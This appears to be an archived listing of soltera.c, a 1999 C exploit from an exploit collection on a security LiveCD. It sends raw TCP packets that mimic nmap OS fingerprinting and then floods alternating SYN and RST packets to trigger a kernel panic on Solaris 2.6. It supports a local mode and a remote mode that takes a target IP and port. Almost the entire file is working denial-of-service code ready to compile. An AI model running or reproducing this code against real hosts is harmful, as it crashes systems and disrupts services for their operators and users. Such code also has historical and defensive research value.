home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / soltera.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  335 lines

  1. /* soltera.c - (c) Sep 1999 by Mixter
  2.  * Local / Remote DoS against Solaris 2.6 (other versions?)
  3.  *
  4.  * Description: nmap fingerprint scans against any daemon that
  5.  * terminates right after the scans are able to produce a kernel
  6.  * panic on Solaris 2.6. (found by D.Brumley)
  7.  * Local exploit: this program will create, scan and kill a listening
  8.  * server. Just run it without arguments.
  9.  * Remote exploit: soltera <ip> <port> - this _might_ work for a
  10.  * service started again by inetd for every new session.
  11.  *
  12.  *      cc -lnsl -lsocket -DSOLARIS soltera.c -o soltera
  13.  *
  14.  *    +++ root priviledges are needed for the fingerprinting +++
  15.  */
  16.  
  17. #define PORT    0xC0D3
  18. #define REPEAT    255
  19.  
  20. #include <stdio.h>
  21. #include <unistd.h>
  22. #include <stdlib.h>
  23. #include <strings.h>
  24. #include <netinet/in.h>
  25. #include <sys/signal.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <sys/ioctl.h>
  29. #include <netdb.h>
  30. #include <arpa/inet.h>
  31. #include <errno.h>
  32. #include <signal.h>
  33.  
  34. void server (int);
  35. void fakeosscan (u_long, int);
  36.  
  37. #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
  38.  
  39. #define ANS "\x1b\x5b"
  40. #define TH_FIN  0x01
  41. #define TH_SYN  0x02
  42. #define TH_RST  0x04
  43. #define TH_PUSH 0x08
  44. #define TH_ACK  0x10
  45. #define TH_URG  0x20
  46. #define TH_BOG  64
  47.  
  48. /* #define WINSIZ 1024 * (ih->ttl % 4 + 1) */
  49. #define WINSIZ 2048
  50.  
  51. #ifdef SOLARIS
  52. #include <sys/stream.h>
  53. #include <sys/dlpi.h>
  54. #include <sys/bufmod.h>
  55. #include <netinet/ip_var.h>
  56. #define htons(x) (x)
  57. #define htonl(x) (x)
  58. #define u_int8_t uint8_t
  59. #define u_int16_t uint16_t
  60. #define u_int32_t uint32_t
  61. #endif
  62.  
  63. struct iphdr
  64.   {
  65. #if __BYTE_ORDER == __LITTLE_ENDIAN
  66. u_int8_t ihl:
  67.     4;
  68. u_int8_t version:
  69.     4;
  70. #elif __BYTE_ORDER == __BIG_ENDIAN
  71. u_int8_t version:
  72.     4;
  73. u_int8_t ihl:
  74.     4;
  75. #else
  76. #error  "Please fix <bytesex.h>"
  77. #endif
  78.     u_int8_t tos;
  79.     u_int16_t tot_len;
  80.     u_int16_t id;
  81.     u_int16_t frag_off;
  82.     u_int8_t ttl;
  83.     u_int8_t protocol;
  84.     u_int16_t check;
  85.     u_int32_t saddr;
  86.     u_int32_t daddr;
  87.   };
  88.  
  89. struct tcphdr
  90.   {
  91.     u_int16_t source;
  92.     u_int16_t dest;
  93.     u_int32_t seq;
  94.     u_int32_t ack_seq;
  95. #if __BYTE_ORDER == __LITTLE_ENDIAN
  96. u_int8_t th_x2:
  97.     4;
  98. u_int8_t th_off:
  99.     4;
  100. #endif
  101. #if __BYTE_ORDER == __BIG_ENDIAN
  102.     /*    u_int8_t th_off:4;
  103.        u_int8_t th_x2:4; */
  104. #endif
  105.     u_int8_t th_flags;
  106.     u_int16_t th_win;
  107.     u_int16_t check;
  108.     u_int16_t th_urp;
  109.   };
  110.  
  111. u_short
  112. ip_sum (addr, len)
  113. u_short *addr;
  114. int len;
  115. {
  116.   register int nleft = len;
  117.   register u_short *w = addr;
  118.   register int sum = 0;
  119.   u_short answer = 0;
  120.   while (nleft > 1)
  121.     {
  122.       sum += *w++;
  123.       nleft -= 2;
  124.     }
  125.   if (nleft == 1)
  126.     {
  127.       *(u_char *) (&answer) = *(u_char *) w;
  128.       sum += answer;
  129.     }
  130.   if (nleft == 1)
  131.     {
  132.       *(u_char *) (&answer) = *(u_char *) w;
  133.       sum += answer;
  134.     }
  135.   sum = (sum >> 16) + (sum & 0xffff);
  136.   sum += (sum >> 16);
  137.   answer = ~sum;
  138.   return (answer);
  139. }
  140.  
  141. int
  142. main (int ac, char **av)
  143. {
  144.   int p = PORT, pid;
  145.   u_long ia;
  146.  
  147.   if (ac < 2 || !(ia = inet_addr (av[1])))
  148.     {
  149.       printf (ANS "0;32m[using ip 127.0.0.1]\n");
  150.       ia = inet_addr ("127.0.0.1");
  151.     }
  152.   else
  153.     printf (ANS "0;32m[using ip %s]\n", av[1]);
  154.   if (ac >= 3)
  155.     if (atoi (av[2]))
  156.       p = atoi (av[2]);
  157.   printf (ANS "0;34m[using port %d]\n", p);
  158.   if (getuid ())
  159.     {
  160.       printf ("You need root to use fingerprinting locally...\n");
  161.       printf ("Listening as server only, hit CTRL+C to abort.\n");
  162.       for (;;) server(p);
  163.     }
  164.   pid = fork ();
  165.   if (!pid)
  166.     server (p);
  167.   sleep (3);
  168.   fakeosscan (ia, p);
  169.   if (kill (pid, SIGKILL) == -1)
  170.     printf (ANS "0;31mFAILED to kill server: %s\n", strerror (errno));
  171.   else
  172.     printf (ANS "0;31m[server (pid: %d) killed]\n", pid);
  173.   sleep (3);
  174.   fakeosscan (ia, p);
  175.   sleep (10);
  176.   printf (ANS "0;35m[all done]%s0;0m\n", ANS);
  177.   return 0;
  178. }
  179.  
  180. void
  181. server (int port)
  182. {
  183.   int c, e = sizeof (struct sockaddr_in);
  184.   struct sockaddr_in l, r;
  185.   l.sin_family = AF_INET;
  186.   l.sin_port = htons (port);
  187.   l.sin_addr.s_addr = INADDR_ANY;
  188.   memset (l.sin_zero, 0, 8);
  189.   c = socket (AF_INET, SOCK_STREAM, 0);
  190.   bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));
  191.   listen (c, 0xFF);
  192.   printf (ANS "1;33m[server listening on port %d]\n", port);
  193.   while (accept (c, (struct sockaddr *) &r, &e));
  194. }
  195.  
  196. void
  197. fakeosscan (u_long ip, int port)
  198. {
  199.   int r = socket (AF_INET, SOCK_STREAM, 0), optlen = 20, i = 0;
  200.   int orig = getrandom (1024, 65534);
  201.   char synb[8192];
  202.   struct sockaddr_in sin;
  203.   struct iphdr *ih = (struct iphdr *) synb;
  204.   struct tcphdr *th = (struct tcphdr *) (synb + sizeof (struct iphdr));
  205.   u_long seq = random ();
  206.   char *eoh = (synb + sizeof (struct iphdr) + sizeof (struct tcphdr));
  207.   char *options = "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000";
  208.  
  209.   printf (ANS "1;30m[initiating fingerprinting simulation on port %d]\n", port);
  210.  
  211.   sin.sin_family = AF_INET;
  212.   sin.sin_port = htons (port);
  213.   sin.sin_addr.s_addr = ip;
  214.  
  215.   connect (r, (struct sockaddr *) &sin, sizeof (sin));
  216.   close (r);
  217.   r = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  218.  
  219.   ih->version = 4;
  220.   ih->ihl = 5;
  221.   ih->tos = 0x00;
  222.   ih->id = htons (random ());
  223.   ih->frag_off = 0;
  224.   ih->ttl = getrandom (0, 255);
  225.   ih->protocol = IPPROTO_TCP;
  226.   ih->check = 0;
  227.   ih->saddr = 0;
  228.   ih->daddr = ip;
  229.   th->source = htons (orig);
  230.   th->dest = htons (port);
  231.   th->seq = seq;
  232.   th->ack_seq = 0;
  233.   th->th_flags = 0;
  234.   th->th_win = htons (WINSIZ);
  235.   th->check = 0;
  236.   th->th_urp = 0;
  237.   memset (eoh, 0, 20);
  238.   memcpy (eoh, options, optlen);
  239.  
  240.   /* packet 1 */
  241.   ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  242.   th->th_off = 5 + (optlen / 4);
  243.   th->th_flags = TH_BOG | TH_SYN;
  244.   th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  245.   ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  246.   sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
  247.           (struct sockaddr *) &sin, sizeof (sin));
  248.  
  249.   /* packet 2 */
  250.   ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  251.   th->th_off = 5 + (optlen / 4);
  252.   th->th_flags = 0;
  253.   th->source++;
  254.   th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  255.   ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  256.   sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
  257.  
  258.   /* packet 3 */
  259.   ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  260.   th->th_off = 5 + (optlen / 4);
  261.   th->th_flags = TH_SYN | TH_FIN | TH_URG | TH_PUSH;
  262.   th->source++;
  263.   th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  264.   ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  265.   sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen,
  266.           0, (struct sockaddr *) &sin, sizeof (sin));
  267.  
  268.   /* packet 4 */
  269.   ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  270.   th->th_off = 5 + (optlen / 4);
  271.   th->th_flags = TH_ACK;
  272.   th->source++;
  273.   th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  274.   ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  275.   sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
  276.  
  277.   /* packet 5 */
  278.   ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  279.   th->th_off = 5 + (optlen / 4);
  280.   th->th_flags = TH_SYN;
  281.   th->source++;
  282.   th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  283.   ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  284.   sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
  285.  
  286.   /* packet 6 */
  287.   ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  288.   th->th_off = 5 + (optlen / 4);
  289.   th->th_flags = TH_ACK;
  290.   th->source++;
  291.   th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  292.   ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  293.   sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
  294.  
  295.   /* guess */
  296.   ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  297.   th->th_off = 5 + (optlen / 4);
  298.   th->th_flags = TH_FIN | TH_PUSH | TH_URG;
  299.   th->source++;
  300.   th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  301.   ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  302.   sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
  303.  
  304.   /* we omit the udp stuff */
  305.  
  306.   /* the actual mutex_enter exploit (rst/syn/rst/syn...) */
  307.   optlen = 0;
  308.   memset (eoh, 0, sizeof (options));
  309.   ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  310.   th->th_off = 5 + (optlen / 4);
  311.   th->th_flags = TH_SYN;
  312.   for (i = 0; i <= REPEAT; i++)
  313.     {
  314.       if (i % 2)
  315.         {
  316.           th->th_flags = TH_SYN;
  317.           th->th_win = htons (WINSIZ);
  318.         }
  319.       else
  320.         {
  321.           th->th_flags = TH_RST;
  322.           th->th_win = 0;
  323.         }
  324.       th->source = orig + i;
  325.       th->seq = seq + i;
  326.       th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  327.       ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  328.       sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
  329.       usleep (31337);
  330.     }
  331.  
  332.   close (r);
  333. }
  334.  
  335. /*                    www.hack.co.za              [2000]*/